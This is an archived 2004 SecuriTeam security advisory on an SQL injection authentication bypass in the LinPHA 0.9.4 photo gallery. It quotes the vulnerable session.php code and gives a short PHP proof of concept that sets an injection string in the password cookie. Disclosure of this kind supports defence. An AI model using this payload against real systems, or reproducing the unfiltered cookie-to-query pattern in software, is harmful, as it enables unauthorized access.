

# [UNIX] Linpha 0.9.4 Authentication Bypass

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0018.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/04/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 4 Aug 2004 23:22:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Linpha 0.9.4 Authentication Bypass

---

## SUMMARY

LinPHA is "easy to use, multilingual, flexible photo/image archive/album/gallery " written in PHP.

LinPHA suffers from a SQL Injection vulnerability that allows attackers to bypass authentication.

## DETAILS

Vulnerable Systems:

\* LinPHA 0.9.4

Linpha suffers from a SQL Injection vulnerability when verifying user authentication

The bug is located in the "session.php" file :

```
24 if(read_config('autologin')) {  
  
25 if(!isset($_SESSION['user_name']) &&  
isset($_COOKIE["linpha_userid"]) && $_COOKIE["linpha_userid"]!="")&&  
isset($_COOKIE["linpha_password"])&&$_COOKIE["linpha_
```

## Securiteam: [UNIX] Linpha 0.9.4 Authentication Bypass

```
password"!="")

26 {

    27 $query_username = $GLOBALS['db']->Execute("SELECT
nickname, level, groups FROM ".PREFIX."users ".

    28 "WHERE ID =
".$_COOKIE["linpha_userid"]." AND ". // linpha_userid is passed to the
query without any filtering

    29 "password =
".$_COOKIE["linpha_password"].""); // linpha_password is passed to
the query without any filtering

    30

    31 if($row = $query_username->FetchRow())

    32 {

        33 $_SESSION["REMOTE_ADDR"] =
 @$_SERVER["REMOTE_ADDR"];

        34 $_SESSION["user_name"] = $row[0];

        35 $_SESSION["user_pass"] =
 $_COOKIE["linpha_password"];

        36 $_SESSION["user_level"] = $row[1];
        // Store user level

        37 $_SESSION["user_groups"] = $row[2];
        // Store user group membership

    38 }

    39 else // wrong cookie

    40 {

        41 setcookie("linpha_userid"); // delete
cookie linpha_userid

        42 setcookie("linpha_password"); // delete
cookie linpha_password

    43 }

    44 }
```

45 }

Proof Of Concept :

```
<?PHP
setcookie("linpha_userid","1",time()+86400*365,'/linpha');
setcookie("linpha_password"," or '3'='3",time()+86400*365,'/linpha');
?>
```

Vendor Status:

The developer has been notified and a upgrade is available from the cvs.

ADDITIONAL INFORMATION

The information has been provided by <mailto:nando@udea.edu.co> Fernando Quintero.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.